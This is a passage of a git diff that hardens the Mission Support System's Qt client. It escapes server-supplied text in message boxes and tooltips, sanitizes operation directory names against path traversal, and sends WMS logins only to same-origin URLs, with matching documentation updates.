diff --git a/docs/mswms.rst b/docs/mswms.rst index 8295aa4cd..c25a06983 100644 --- a/docs/mswms.rst +++ b/docs/mswms.rst @@ -476,6 +476,10 @@ This runs the wms server on port 5000. If you use a certificate and proxy by e.g PYTHONPATH=~/INSTANCE/wsgi/ waitress-serve --host 127.0.0.1 --port 5000 --url-scheme=http wsgi_setup:app +The capabilities name the address of the server for the maps, built from the scheme and host of the request. +Behind an https proxy without --url-scheme=https, this address starts with http. msui then warns, and it +doesn't send the login of a protected server with the map requests, so they fail. + Further documentations: - `Waitress `_ diff --git a/docs/usage.rst b/docs/usage.rst index ab72bf6fb..cc44e50c8 100644 --- a/docs/usage.rst +++ b/docs/usage.rst @@ -119,6 +119,12 @@ All passwords are stored by using an OS-provided keyring after entering them the first time. Also the token required for accessing the MSColab server will be stored there. You can also use an OS-provided keyring app to set, change and delete passwords. +The login of a WMS is only sent to the server it was entered for. The capabilities of a WMS name the +address used for the maps (GetMap). msui sends the login with the map requests only when this address has +the same scheme, host and port as the address of the capabilities. Otherwise the maps are requested without +the login, and msui warns once per session. It also warns when the capabilities were loaded with https and +the maps are to be requested with http. + MSUI Flight track import/export plugins ....................................... diff --git a/mslib/msui/CLAUDE.md b/mslib/msui/CLAUDE.md index 06f866cdc..4e610b16a 100644 --- a/mslib/msui/CLAUDE.md +++ b/mslib/msui/CLAUDE.md @@ -39,6 +39,15 @@ consumed over HTTP. - Config access via `mslib.utils.config.config_loader`; per-widget Qt state via `save_settings_qsettings`/`load_settings_qsettings`. - Message boxes in tests are mocked; an unhandled QMessageBox fails the test. +- Texts from servers or other users (WMS capabilities and errors, MSColab names, + exception messages) never reach Qt as rich text: `QLabel.setTextFormat(Qt.PlainText)`, + `html.escape` inside own HTML, and for tooltips and message boxes + `mslib.utils.qt.plain_text_as_html`, `show_popup` or `plain_text_message_box`. + Qt loads `` from rich text (NTLM leak). + `tests/_test_utils/test_qt.py` fails for a message box or tooltip whose text is + not a constant and doesn't go through `plain_text_as_html`. +- Passwords and tokens go only to their own server: check with + `mslib.utils.auth.same_origin` before sending them to a URL a server named. ## Verify diff --git a/mslib/msui/autoplot_dockwidget.py b/mslib/msui/autoplot_dockwidget.py index d6d05e31d..394353e14 100644 --- a/mslib/msui/autoplot_dockwidget.py +++ b/mslib/msui/autoplot_dockwidget.py @@ -39,7 +39,7 @@ from mslib.autoplot import main as cli_tool from mslib.msui.qt5.ui_mss_autoplot import Ui_AutoplotDockWidget from mslib.utils import constants as const -from mslib.utils.qt import get_save_filename +from mslib.utils.qt import get_save_filename, plain_text_as_html class AutoplotDockWidget(QWidget, Ui_AutoplotDockWidget): @@ -220,7 +220,7 @@ def download_plots_cli(self, config_settings): QMessageBox.information( self, "Error", - ex.args[0] + plain_text_as_html(ex.args[0]) ) ctx.obj = None return diff --git a/mslib/msui/editor.py b/mslib/msui/editor.py index b77207c53..573bd3bff 100644 --- a/mslib/msui/editor.py +++ b/mslib/msui/editor.py @@ -30,7 +30,7 @@ import json from pathlib import Path -from mslib.utils.qt import get_open_filename, get_save_filename, show_popup +from mslib.utils.qt import get_open_filename, get_save_filename, show_popup, plain_text_as_html from mslib.msui.qt5 import ui_configuration_editor_window as ui_conf from PyQt5 import QtWidgets, QtCore, QtGui from mslib.utils.constants import MSUI_SETTINGS @@ -703,7 +703,7 @@ def export_config(self): msg = """Since the current configuration matches the default configuration, \ only an empty json file would be exported.\nDo you still want to continue?""" ret = QtWidgets.QMessageBox.warning( - self, self.tr("Mission Support System"), self.tr(msg), + self, self.tr("Mission Support System"), plain_text_as_html(self.tr(msg)), QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) if ret == QtWidgets.QMessageBox.No: @@ -725,7 +725,7 @@ def closeEvent(self, event): "Save Changes to default msui_settings.json?\nYou need to restart the gui for changes to take effect.") if msg != "": ret = QtWidgets.QMessageBox.warning( - self, self.tr("Mission Support System"), self.tr(msg), + self, self.tr("Mission Support System"), plain_text_as_html(self.tr(msg)), QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) if ret == QtWidgets.QMessageBox.Yes: diff --git a/mslib/msui/hexagon_dockwidget.py b/mslib/msui/hexagon_dockwidget.py index 7a4ed628d..01d6f3fdd 100644 --- a/mslib/msui/hexagon_dockwidget.py +++ b/mslib/msui/hexagon_dockwidget.py @@ -32,6 +32,7 @@ from mslib.msui import flighttrack as ft from mslib.utils.coordinate import rotate_point from mslib.utils.config import config_loader +from mslib.utils.qt import plain_text_as_html class HexagonException(Exception): @@ -152,7 +153,7 @@ def _remove_hexagon(self): else: sel = QtWidgets.QMessageBox.question( table_view, "Remove hexagon", - f"This will remove waypoints {row_min:d}-{row_max:d}. Continue?", + plain_text_as_html(f"This will remove waypoints {row_min:d}-{row_max:d}. Continue?"), QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.Yes) if sel == QtWidgets.QMessageBox.Yes: @@ -161,4 +162,4 @@ def _remove_hexagon(self): raise HexagonException("Cannot remove hexagon, please select a hexagon " "waypoint ('Hexagon x' in comments field)") except HexagonException as ex: - QtWidgets.QMessageBox.warning(self, "Remove hexagon", str(ex)) + QtWidgets.QMessageBox.warning(self, "Remove hexagon", plain_text_as_html(str(ex))) diff --git a/mslib/msui/kmloverlay_dockwidget.py b/mslib/msui/kmloverlay_dockwidget.py index 2aa33fc7c..d28f14aa8 100644 --- a/mslib/msui/kmloverlay_dockwidget.py +++ b/mslib/msui/kmloverlay_dockwidget.py @@ -35,7 +35,7 @@ from pathlib import Path from matplotlib import patheffects -from mslib.utils.qt import get_open_filenames, get_save_filename +from mslib.utils.qt import get_open_filenames, get_save_filename, plain_text_as_html from mslib.utils.colordialog import CustomColorDialog from mslib.msui.qt5 import ui_kmloverlay_dockwidget as ui from PyQt5 import QtGui, QtWidgets, QtCore @@ -582,7 +582,7 @@ def load_file(self): del self.dict_files[self.listWidget.item(index).text()] # del the checked files from dictionary self.listWidget.takeItem(index) # remove file item from ListWidget QtWidgets.QMessageBox.critical( - self, self.tr("KML Overlay"), self.tr(f"ERROR:\n{type(ex)}\n{ex}")) + self, self.tr("KML Overlay"), plain_text_as_html(self.tr(f"ERROR:\n{type(ex)}\n{ex}"))) logging.debug(self.dict_files) def merge_file(self): @@ -639,10 +639,10 @@ def merge_file(self): except (OSError, IOError) as ex: QtWidgets.QMessageBox.critical( self, self.tr("Problem while merging KML Files:"), - self.tr(f"ERROR: {type(ex)} {ex}")) + plain_text_as_html(self.tr(f"ERROR: {type(ex)} {ex}"))) else: QtWidgets.QMessageBox.warning(self, "Merge KML Files", - f"File extension is not '.kml'!\n{filename:}") + plain_text_as_html(f"File extension is not '.kml'!\n{filename:}")) def remove_ns(self, root): """ diff --git a/mslib/msui/mpl_pathinteractor.py b/mslib/msui/mpl_pathinteractor.py index aa91805b6..ace5c8e15 100644 --- a/mslib/msui/mpl_pathinteractor.py +++ b/mslib/msui/mpl_pathinteractor.py @@ -57,6 +57,7 @@ from mslib.utils.thermolib import pressure2flightlevel from mslib.msui import flighttrack as ft from mslib.utils.loggerdef import configure_mpl_logger +from mslib.utils.qt import plain_text_as_html mpl_logger = configure_mpl_logger() @@ -935,7 +936,8 @@ def confirm_delete_waypoint(self, row): wp = wps[row] return QtWidgets.QMessageBox.question( None, "Remove waypoint", - f"Remove waypoint no.{row:d} at {wp.lat:.2f}/{wp.lon:.2f}, flightlevel {wp.flightlevel:.2f}?", + plain_text_as_html( + f"Remove waypoint no.{row:d} at {wp.lat:.2f}/{wp.lon:.2f}, flightlevel {wp.flightlevel:.2f}?"), QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.Yes) == QtWidgets.QMessageBox.Yes diff --git a/mslib/msui/mscolab.py b/mslib/msui/mscolab.py index b729d168f..98fa676eb 100644 --- a/mslib/msui/mscolab.py +++ b/mslib/msui/mscolab.py @@ -80,7 +80,8 @@ from mslib.utils.auth import del_password_from_keyring from mslib.utils.verify_waypoint_data import verify_waypoint_data -from mslib.utils.qt import get_open_filename, get_save_filename, dropEvent, dragEnterEvent, show_popup +from mslib.utils.qt import (get_open_filename, get_save_filename, dropEvent, dragEnterEvent, show_popup, + plain_text_as_html) from mslib.msui.qt5 import ui_mscolab_help_dialog as msc_help_dialog from mslib.msui.qt5 import ui_mscolab_add_operation_dialog as msc_add_operation_ui from mslib.msui.qt5 import ui_mscolab_merge_waypoints_dialog as merge_wp_ui @@ -89,6 +90,31 @@ from mslib.utils.config import config_loader +# characters that can't be in a file or directory name on Windows, macOS or Linux, and control characters +_UNSAFE_NAME_CHARACTERS = re.compile(r'[\x00-\x1f\x7f<>:"/\\|?*]') +# names Windows reserves for devices, also with an extension, e.g. "con.txt" +_WINDOWS_DEVICE_NAMES = re.compile(r"(con|prn|aux|nul|com[0-9]|lpt[0-9])(\..*)?", re.IGNORECASE) + + +def _safe_dir_name(name): + """ + name as the name of a single directory, on Windows, macOS and Linux + + Unsafe characters are replaced by "_", e.g. "team/a" -> "team_a", "a\\b" -> "a_b", "x:y" -> "x_y". So are + trailing dots and spaces, which Windows drops, and a name of only dots ("." and ".."). A Windows device name + gets a "_" appended. Other names, e.g. every name msui and the MSColab server allow for operations, stay as they + are, so existing local copies keep their directory. + """ + name = _UNSAFE_NAME_CHARACTERS.sub("_", str(name)) + stripped = name.rstrip(". ") + name = stripped + "_" * (len(name) - len(stripped)) + if name == "": + return "_" + if _WINDOWS_DEVICE_NAMES.fullmatch(name): + return name + "_" + return name + + class MSUIMscolab(QtCore.QObject): """ Class for implementing MSColab functionalities @@ -499,18 +525,19 @@ def upload_image(self, _=None): QMessageBox.information(self.prof_diag, "Success", "Image uploaded successfully") self.fetch_profile_image(refresh=True) else: - QMessageBox.critical(self.prof_diag, "Error", "Failed to upload image: " - f"{sc.response_message(response, response.text)}") + # the answer comes from the MSColab server + QMessageBox.critical(self.prof_diag, "Error", plain_text_as_html( + f"Failed to upload image: {sc.response_message(response, response.text)}")) except requests.exceptions.RequestException as e: - QMessageBox.critical(self.prof_diag, "Error", f"Error occurred: {e}") + QMessageBox.critical(self.prof_diag, "Error", plain_text_as_html(f"Error occurred: {e}")) except UnidentifiedImageError as e: - QMessageBox.critical(self.prof_diag, "Error", - f'Cannot identify image file. Please check the file format. Error : {e}') + QMessageBox.critical(self.prof_diag, "Error", plain_text_as_html( + f'Cannot identify image file. Please check the file format. Error : {e}')) except OSError as e: - QMessageBox.critical(self.prof_diag, "Error", - f'Cannot identify image file. Please check the file format. Error: {e}') + QMessageBox.critical(self.prof_diag, "Error", plain_text_as_html( + f'Cannot identify image file. Please check the file format. Error: {e}')) def delete_own_account(self, _=None): reply = QMessageBox.question( @@ -943,18 +970,39 @@ def rename_operation_handler(self, _=None): "Operation is renamed successfully.", ) + def local_operation_dir(self): + """ + Directory of the local copy of the active operation, None if it would not be in the data directory + + The username and the operation name come from the MSColab server. A server could otherwise make msui write + the local copy anywhere, e.g. with the operation name ".." or an absolute path, so unsafe characters are + replaced, see _safe_dir_name. The containment check catches what is left, e.g. a symbolic link. + """ + local_data_dir = Path(self.data_dir) / "local_colabdata" + local_dir = local_data_dir / _safe_dir_name(self.user["username"]) / _safe_dir_name(self.active_operation_name) + if not local_dir.resolve().is_relative_to(local_data_dir.resolve()): + return None + return local_dir + def handle_work_locally_toggle(self, _=None): if self.ui.workLocallyCheckbox.isChecked(): + local_dir = self.local_operation_dir() + if local_dir is None: + logging.error("no local copy for user %r and operation %r, not a directory in %s", + self.user["username"], self.active_operation_name, self.data_dir) + QMessageBox.critical( + self.ui, "Work Asynchronously", + plain_text_as_html( + "The operation can't be stored locally, its directory would not be in the data directory:" + f"\n\nOperation: {self.active_operation_name}\nUsername: {self.user['username']}")) + self.ui.workLocallyCheckbox.blockSignals(True) + self.ui.workLocallyCheckbox.setChecked(False) + self.ui.workLocallyCheckbox.blockSignals(False) + return if self.version_window is not None: self.version_window.close() - self.create_local_operation_file() - self.local_ftml_file = str( - Path(self.data_dir) / - "local_colabdata" / - self.user["username"] / - self.active_operation_name / - "mscolab_operation.ftml" - ) + self.create_local_operation_file(local_dir) + self.local_ftml_file = str(local_dir / "mscolab_operation.ftml") self.ui.workingStatusLabel.setText( self.ui.tr( "Working Asynchronously.\nYour changes are only available to you. " @@ -975,14 +1023,13 @@ def handle_work_locally_toggle(self, _=None): self.show_operation_options() self.reload_view_windows() - def create_local_operation_file(self): - local_data_dir = self.data_dir / "local_colabdata" / self.user['username'] / self.active_operation_name - ftml_file = local_data_dir / "mscolab_operation.ftml" + def create_local_operation_file(self, local_dir): + ftml_file = local_dir / "mscolab_operation.ftml" if ftml_file.exists(): return - local_data_dir.mkdir(parents=True, exist_ok=True) + local_dir.mkdir(parents=True, exist_ok=True) server_data = self.waypoints_model.get_xml_content() with open(ftml_file, "w") as f: @@ -1331,7 +1378,7 @@ def archive_operation(self, _): logging.debug("handle_archive_operation") ret = QMessageBox.warning( self.ui, self.tr("Mission Support System"), - self.tr(f"Do you want to archive this operation '{self.active_operation_name}'?"), + plain_text_as_html(self.tr(f"Do you want to archive this operation '{self.active_operation_name}'?")), QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if ret == QMessageBox.Yes: req = UpdateOperationRequest(op_id=self.active_op_id, attribute="active", value="False") diff --git a/mslib/msui/mscolab_chat.py b/mslib/msui/mscolab_chat.py index 73a35ec1f..281803bb9 100644 --- a/mslib/msui/mscolab_chat.py +++ b/mslib/msui/mscolab_chat.py @@ -36,15 +36,16 @@ from markdown import Markdown from markdown.extensions import Extension from markdown.treeprocessors import Treeprocessor -from urllib.parse import urljoin, urlsplit +from urllib.parse import urljoin from mslib.mscolab.api.attachments import DEFAULT_ATTACHMENT_EXTENSIONS, IMAGE_EXTENSIONS, file_extension from mslib.mscolab.api.message_type import MessageType from mslib.msui.socket_control import response_message from PyQt5 import QtCore, QtGui, QtWidgets -from mslib.utils.qt import get_open_filename, get_save_filename, show_popup +from mslib.utils.qt import get_open_filename, get_save_filename, plain_text_message_box, show_popup from mslib.msui.qt5 import ui_mscolab_operation_window as ui from mslib.utils.config import config_loader +from mslib.utils.auth import same_origin from mslib.mscolab.api import endpoints from mslib.mscolab.api.schemas import ( FetchProfileImageRequest, @@ -639,20 +640,6 @@ def closeEvent(self, event): self.viewCloses.emit() -def _same_origin(url, base_url): - """ - True if url has the scheme, host and port of base_url - """ - default_ports = {"http": 80, "https": 443} - try: - a, b = urlsplit(url), urlsplit(base_url) - return (a.scheme.lower() == b.scheme.lower() and a.hostname == b.hostname and - (a.port or default_ports.get(a.scheme.lower())) == (b.port or default_ports.get(b.scheme.lower()))) - except ValueError: - # e.g. an invalid port - return False - - class MessageItem(QtWidgets.QWidget): def __init__(self, message, chat_window): super().__init__() @@ -691,7 +678,7 @@ def attachment_url(self): path = path.replace('\\', '/').split('colabdata')[-1] server_url = self.chat_window.mscolab_server_url url = urljoin(server_url, path) - if not _same_origin(url, server_url): + if not same_origin(url, server_url): logging.warning("attachment %r is not on the MSColab server %s, ignored", path, server_url) return None return url @@ -975,13 +962,6 @@ def chat_link_target(link): return url -def _plain_text_box(icon, title, text, buttons, parent): - # the text contains the URL chosen by the author of the message, it must not be interpreted as markup - box = QtWidgets.QMessageBox(icon, title, text, buttons, parent) - box.setTextFormat(QtCore.Qt.PlainText) - return box - - def open_chat_link(parent, url): """Open a link of a chat message after the user has seen and confirmed its real target. @@ -989,13 +969,13 @@ def open_chat_link(parent, url): """ target = chat_link_target(url) if target is None: - _plain_text_box( + plain_text_message_box( QtWidgets.QMessageBox.Warning, "Link not opened", "Only http and https links to a host can be opened from the chat. This link was not opened:\n\n" f"{url.toString(QtCore.QUrl.FullyEncoded)}", QtWidgets.QMessageBox.Ok, parent).exec_() return - box = _plain_text_box( + box = plain_text_message_box( QtWidgets.QMessageBox.Question, "Open link?", f"Do you want to open this link in your browser?\n\nHost: {target.host(QtCore.QUrl.FullyEncoded)}\n\n" f"{target.toString(QtCore.QUrl.FullyEncoded)}", diff --git a/mslib/msui/msui.py b/mslib/msui/msui.py index 572337e85..0e7afbfc2 100644 --- a/mslib/msui/msui.py +++ b/mslib/msui/msui.py @@ -42,6 +42,7 @@ from mslib.utils import setup_logging from mslib.msui.icons import icons from mslib.utils.config import read_config_file +from mslib.utils.qt import plain_text_as_html from PyQt5 import QtGui, QtCore, QtWidgets # Add config path to PYTHONPATH so plugins located there may be found @@ -117,7 +118,7 @@ def notify(QObject, QEvent): """ ret = QtWidgets.QMessageBox.question(mainwindow, 'Update of msui_settings.json file', - text, + plain_text_as_html(text), QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) if ret == QtWidgets.QMessageBox.Yes: diff --git a/mslib/msui/msui_mainwindow.py b/mslib/msui/msui_mainwindow.py index 1857cdce2..a6264cf86 100644 --- a/mslib/msui/msui_mainwindow.py +++ b/mslib/msui/msui_mainwindow.py @@ -31,6 +31,7 @@ import copy import functools +import html import importlib import logging import os @@ -49,7 +50,7 @@ from mslib.msui import editor, mscolab from mslib.plugins.io.csv import load_from_csv, save_to_csv from mslib.msui.icons import icons, python_powered -from mslib.utils.qt import get_open_filenames, get_save_filename, show_popup +from mslib.utils.qt import get_open_filenames, get_save_filename, show_popup, plain_text_as_html from mslib.utils.config import read_config_file, config_loader from PyQt5 import QtGui, QtCore, QtWidgets from mslib.utils import release_info @@ -64,6 +65,19 @@ def clean_string(string): return re.sub(r'\W|^(?=\d)', '_', string) +def _without_markup(text, plain=False): + """ + The text Qt shows for text, without letting Qt parse it + + Rich text gets its tags replaced by spaces and its entities resolved. Text that Qt shows as plain text, e.g. + "T<300K> mean" or "R&D", or any text of a widget that shows plain text (plain=True) stays as it is. + """ + text = str(text) + if plain or not QtCore.Qt.mightBeRichText(text): + return text + return html.unescape(re.sub(r"<[^>]*>", " ", text)) + + class QActiveViewsListWidgetItem(QtWidgets.QListWidgetItem): """Subclass of QListWidgetItem, represents an open view in the list of open views. Keeps a reference to the view instance (i.e. the window) it @@ -255,7 +269,12 @@ def fill_list(self): else text if self.cbDisplayType.currentText() == 'Text' \ else (obj.objectName() if hasattr(obj, 'objectName') else text) item.setText(0, f"{itemText}: {shortcut}") - item.setToolTip(0, f"ToolTip: {description}\nText: {text}\nObjectName: {objectName}") + # tooltips and texts of widgets can be rich text, by design or from a server, e.g. the title of a WMS + # layer in a label; only their text is shown, so nothing in them is rendered or loaded + shows_plain_text = hasattr(obj, "textFormat") and obj.textFormat() == QtCore.Qt.PlainText + item.setToolTip(0, plain_text_as_html( + f"ToolTip: {_without_markup(description)}\n" + f"Text: {_without_markup(text, plain=shows_plain_text)}\nObjectName: {objectName}")) header.addChild(item) self.filter_shortcuts(self.leShortcutFilter.text()) @@ -728,7 +747,8 @@ def add_import_plugins(self, picker_default): logging.error("Error on installing plugin: %s: %s", type(ex), ex) QtWidgets.QMessageBox.critical( self, self.tr("file io plugin error import plugins"), - self.tr(f"ERROR: Configuration\n\n{self.import_plugins}\n\nthrows {type(ex)} error:\n{ex}")) + plain_text_as_html(self.tr( + f"ERROR: Configuration\n\n{self.import_plugins}\n\nthrows {type(ex)} error:\n{ex}"))) continue self.import_plugins[name] = (imported_function, extension) @@ -747,7 +767,7 @@ def add_export_plugins(self, picker_default): logging.error("Error on import: %s: %s", type(ex), ex) QtWidgets.QMessageBox.critical( self, self.tr("file io plugin error export plugins"), - self.tr(f"ERROR: Configuration\n\n{plugins}\n\nthrows {type(ex)} error:\n{ex}")) + plain_text_as_html(self.tr(f"ERROR: Configuration\n\n{plugins}\n\nthrows {type(ex)} error:\n{ex}"))) continue try: self.add_plugin_submenu(name, extension, imported_function, picker_type, plugin_type="Export") @@ -756,7 +776,8 @@ def add_export_plugins(self, picker_default): logging.error("Error on installing plugin: %s: %s", type(ex), ex) QtWidgets.QMessageBox.critical( self, self.tr("file io plugin error import plugins"), - self.tr(f"ERROR: Configuration\n\n{self.export_plugins}\n\nthrows {type(ex)} error:\n{ex}")) + plain_text_as_html(self.tr( + f"ERROR: Configuration\n\n{self.export_plugins}\n\nthrows {type(ex)} error:\n{ex}"))) continue self.export_plugins[name] = (imported_function, extension) @@ -820,7 +841,7 @@ def handle_export_local(self, extension, function, pickertype): logging.error("file io plugin error: %s %s", type(ex), ex) QtWidgets.QMessageBox.critical( self, self.tr("file io plugin error"), - self.tr(f"ERROR: {type(ex)} {ex}")) + plain_text_as_html(self.tr(f"ERROR: {type(ex)} {ex}"))) else: self.mscolab.handle_export_msc(extension, function, pickertype) @@ -933,7 +954,7 @@ def create_new_flight_track(self, template=None, filename=None, function=None, a except (SyntaxError, OSError, IOError) as ex: QtWidgets.QMessageBox.critical( self, self.tr("Problem while opening flight track FTML:"), - self.tr(f"ERROR: {type(ex)} {ex}")) + plain_text_as_html(self.tr(f"ERROR: {type(ex)} {ex}"))) else: try: ft_name, new_waypoints = function(filename) @@ -943,7 +964,7 @@ def create_new_flight_track(self, template=None, filename=None, function=None, a logging.error("file io plugin error: %s %s", type(ex), ex) QtWidgets.QMessageBox.critical( self, self.tr("file io plugin error"), - self.tr(f"ERROR: {type(ex)} {ex}")) + plain_text_as_html(self.tr(f"ERROR: {type(ex)} {ex}"))) if waypoints_model is not None: for i in range(self.listFlightTracks.count()): fltr = self.listFlightTracks.item(i) @@ -1049,7 +1070,7 @@ def save_flight_track(self, file_name): except (OSError, IOError) as ex: QtWidgets.QMessageBox.critical( self, self.tr("Problem while saving flight track to FTML:"), - self.tr(f"ERROR: {type(ex)} {ex}")) + plain_text_as_html(self.tr(f"ERROR: {type(ex)} {ex}"))) for idx in range(self.listFlightTracks.count()): if self.listFlightTracks.item(idx).flighttrack_model == self.active_flight_track: diff --git a/mslib/msui/multilayers.py b/mslib/msui/multilayers.py index 148ade3d4..779b72c30 100644 --- a/mslib/msui/multilayers.py +++ b/mslib/msui/multilayers.py @@ -31,6 +31,7 @@ from mslib.msui.qt5 import ui_wms_multilayers as ui from mslib.utils.colordialog import CustomColorDialog from mslib.utils.config import save_settings_qsettings, load_settings_qsettings +from mslib.utils.qt import plain_text_as_html class Multilayers(QtWidgets.QDialog, ui.Ui_MultilayersDialog): @@ -344,7 +345,8 @@ def add_multilayer(self, name, wms, auto_select=False): widget.wms_name = wms.url if layerobj.abstract: - widget.setToolTip(0, layerobj.abstract) + # the abstract comes from the WMS server + widget.setToolTip(0, plain_text_as_html(layerobj.abstract)) if self.cbMultilayering.isChecked(): widget.setCheckState(0, QtCore.Qt.Unchecked) diff --git a/mslib/msui/performance_settings.py b/mslib/msui/performance_settings.py index e7f999380..11b99137c 100644 --- a/mslib/msui/performance_settings.py +++ b/mslib/msui/performance_settings.py @@ -31,7 +31,7 @@ from mslib.utils import FatalUserError from mslib.msui import aircraft, constants -from mslib.utils.qt import get_open_filename +from mslib.utils.qt import get_open_filename, plain_text_as_html from mslib.msui.qt5 import ui_performance_dockwidget as ui_dw @@ -123,7 +123,7 @@ def load_performance(self): except KeyError as ex: QtWidgets.QMessageBox.critical(self, self.tr("Performance JSON Load"), - self.tr(f"JSON File missing '{ex}' entry")) + plain_text_as_html(self.tr(f"JSON File missing '{ex}' entry"))) except (FatalUserError, ValueError) as ex: QtWidgets.QMessageBox.critical(self, self.tr("Performance JSON Load"), - self.tr(f"JSON File has Syntax Problems:\n{ex}")) + plain_text_as_html(self.tr(f"JSON File has Syntax Problems:\n{ex}"))) diff --git a/mslib/msui/satellite_dockwidget.py b/mslib/msui/satellite_dockwidget.py index c1b44f52f..258084106 100644 --- a/mslib/msui/satellite_dockwidget.py +++ b/mslib/msui/satellite_dockwidget.py @@ -32,7 +32,7 @@ from datetime import datetime, timedelta import numpy as np -from mslib.utils.qt import get_open_filename +from mslib.utils.qt import get_open_filename, plain_text_as_html from mslib.msui.qt5 import ui_satellite_dockwidget as ui from PyQt5 import QtWidgets from mslib.utils.config import save_settings_qsettings, load_settings_qsettings @@ -152,7 +152,7 @@ def load_file(self): except (IOError, OSError, ValueError) as ex: logging.error("Problem accessing '%s' file", filename) QtWidgets.QMessageBox.critical(self, self.tr("Satellite Overpass Tool"), - self.tr(f"ERROR:\n{type(ex)}\n{ex}")) + plain_text_as_html(self.tr(f"ERROR:\n{type(ex)}\n{ex}"))) else: logging.debug("read %i segments", len(overpass_segments)) diff --git a/mslib/msui/tableview.py b/mslib/msui/tableview.py index b8a33c5fb..389fa4d1a 100644 --- a/mslib/msui/tableview.py +++ b/mslib/msui/tableview.py @@ -38,7 +38,7 @@ from mslib.msui import performance_settings as perfset from PyQt5 import QtCore, QtWidgets, QtGui from mslib.msui.qt5 import ui_tableview_window as ui -from mslib.utils.qt import dropEvent, dragEnterEvent, table_to_csv_clipboard +from mslib.utils.qt import dropEvent, dragEnterEvent, table_to_csv_clipboard, plain_text_as_html from mslib.msui import flighttrack as ft from mslib.msui.viewwindows import MSUIViewWindow from mslib.msui.icons import icons @@ -155,8 +155,8 @@ def update_show_linear_data_enabled(self): self._updating_show_linear_data = False self.cbShowLinearData.setEnabled(available) self.cbShowLinearData.setToolTip( - self.show_linear_data_tooltip if available else - "No linear view provides data values for this flight track") + plain_text_as_html(self.show_linear_data_tooltip if available else + "No linear view provides data values for this flight track")) def on_selection_changed(self, index): """ @@ -271,7 +271,7 @@ def confirm_delete_waypoint(self, rows): for waypoint in waypoints]) return QtWidgets.QMessageBox.question( - self.tableWayPoints, "Remove waypoint", text, + self.tableWayPoints, "Remove waypoint", plain_text_as_html(text), QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.Yes) == QtWidgets.QMessageBox.Yes diff --git a/mslib/msui/viewwindows.py b/mslib/msui/viewwindows.py index 3020dc5d1..9ac969986 100644 --- a/mslib/msui/viewwindows.py +++ b/mslib/msui/viewwindows.py @@ -34,6 +34,7 @@ from PyQt5 import QtCore, QtWidgets from mslib.utils import constants from mslib.utils.config import load_settings_qsettings, save_settings_qsettings +from mslib.utils.qt import plain_text_as_html class MSUIViewWindow(QtWidgets.QMainWindow): @@ -82,7 +83,7 @@ def closeEvent(self, event): ret = QtWidgets.QMessageBox.Yes else: ret = QtWidgets.QMessageBox.warning(self, self.tr("Mission Support System"), - self.tr(f"Do you want to close this {self.name}?"), + plain_text_as_html(self.tr(f"Do you want to close this {self.name}?")), QtWidgets.QMessageBox.Yes | QtWidgets.QMessageBox.No, QtWidgets.QMessageBox.No) diff --git a/mslib/msui/wms_capabilities.py b/mslib/msui/wms_capabilities.py index 53f5267e9..35354cfa3 100644 --- a/mslib/msui/wms_capabilities.py +++ b/mslib/msui/wms_capabilities.py @@ -27,8 +27,9 @@ """ import collections +import html -from PyQt5 import QtWidgets +from PyQt5 import QtCore, QtWidgets from mslib.msui.qt5 import ui_wms_capabilities as ui @@ -47,6 +48,7 @@ def __init__(self, parent=None, url=None, capabilities=None): if url is None: url = "" + self.lblURL.setTextFormat(QtCore.Qt.PlainText) self.lblURL.setText(url) self.capabilities = capabilities @@ -55,6 +57,10 @@ def __init__(self, parent=None, url=None, capabilities=None): self.cbFullView.stateChanged.connect(self.update_text) def update_text(self): + def esc(value): + # the texts come from the WMS server, markup in them, e.g. , is shown as text + return html.escape(str(value)) + if self.cbFullView.isChecked(): self.txtCapabilities.setPlainText(self.capabilities.capabilities_document.decode("utf-8")) else: @@ -63,17 +69,17 @@ def update_text(self): if provider.contact is None: contact = collections.defaultdict(lambda: None) else: - contact = vars(provider.contact) - text = (f"Title: {identification.title}

" - f"Service type: {identification.type} {identification.version}
" - f"Abstract:
{identification.abstract}
" + contact = {key: esc(value) for key, value in vars(provider.contact).items()} + text = (f"Title: {esc(identification.title)}

" + f"Service type: {esc(identification.type)} {esc(identification.version)}
" + f"Abstract:
{esc(identification.abstract)}
" f"Contact:
" f" {contact['name']}
" f" {contact['organization']}
" f" {contact['email']}
" f" {contact['address']}
" f" {contact['postcode']} {contact['city']}
\n" - f"Keywords: {identification.keywords}
\n" - f"Access constraints: {identification.accessconstraints}
\n" - f"Fees: {identification.fees}") + f"Keywords: {esc(identification.keywords)}
\n" + f"Access constraints: {esc(identification.accessconstraints)}
\n" + f"Fees: {esc(identification.fees)}") self.txtCapabilities.setHtml(text) diff --git a/mslib/msui/wms_control.py b/mslib/msui/wms_control.py index 144ac2096..9e3ca5d0e 100644 --- a/mslib/msui/wms_control.py +++ b/mslib/msui/wms_control.py @@ -50,12 +50,12 @@ from mslib.msui import wms_capabilities from mslib.msui.qt5 import ui_wms_dockwidget as ui from mslib.msui.qt5 import ui_wms_password_dialog as ui_pw -from mslib.utils.qt import Worker +from mslib.utils.qt import Worker, plain_text_as_html from mslib.msui.multilayers import Multilayers, Layer import mslib.utils.ogcwms as ogcwms from mslib.utils.service_manager import WMSServiceManager, strip_request_params from mslib.utils.time import parse_iso_datetime, parse_iso_duration -from mslib.utils.auth import save_password_to_keyring, get_auth_from_url_and_name +from mslib.utils.auth import save_password_to_keyring, get_auth_from_url_and_name, same_origin from mslib.utils.config import modify_config_file @@ -187,18 +187,13 @@ def getmap(self, layers=None, styles=None, srs=None, bbox=None, if level is not None: request['elevation'] = str(level) - # normalise base_url so it contains no request and no parameters - (scheme, netloc, path, params, query, fragment) = urllib.parse.urlparse(base_url) - base_url = urllib.parse.urlunparse((scheme, netloc, path, params, "", fragment)) - request.update(dict(urllib.parse.parse_qsl(query))) + base_url, query_params = getmap_request_url(base_url) + request.update(query_params) # --(mss) data = urllib.parse.urlencode(request) # ++(mss) - base_url = base_url.replace("ogctest.iblsoft", "ogcie.iblsoft") # IBL Bugfix! - base_url = base_url.replace("ogcie/obs", "ogcie.iblsoft.com/obs") # IBL 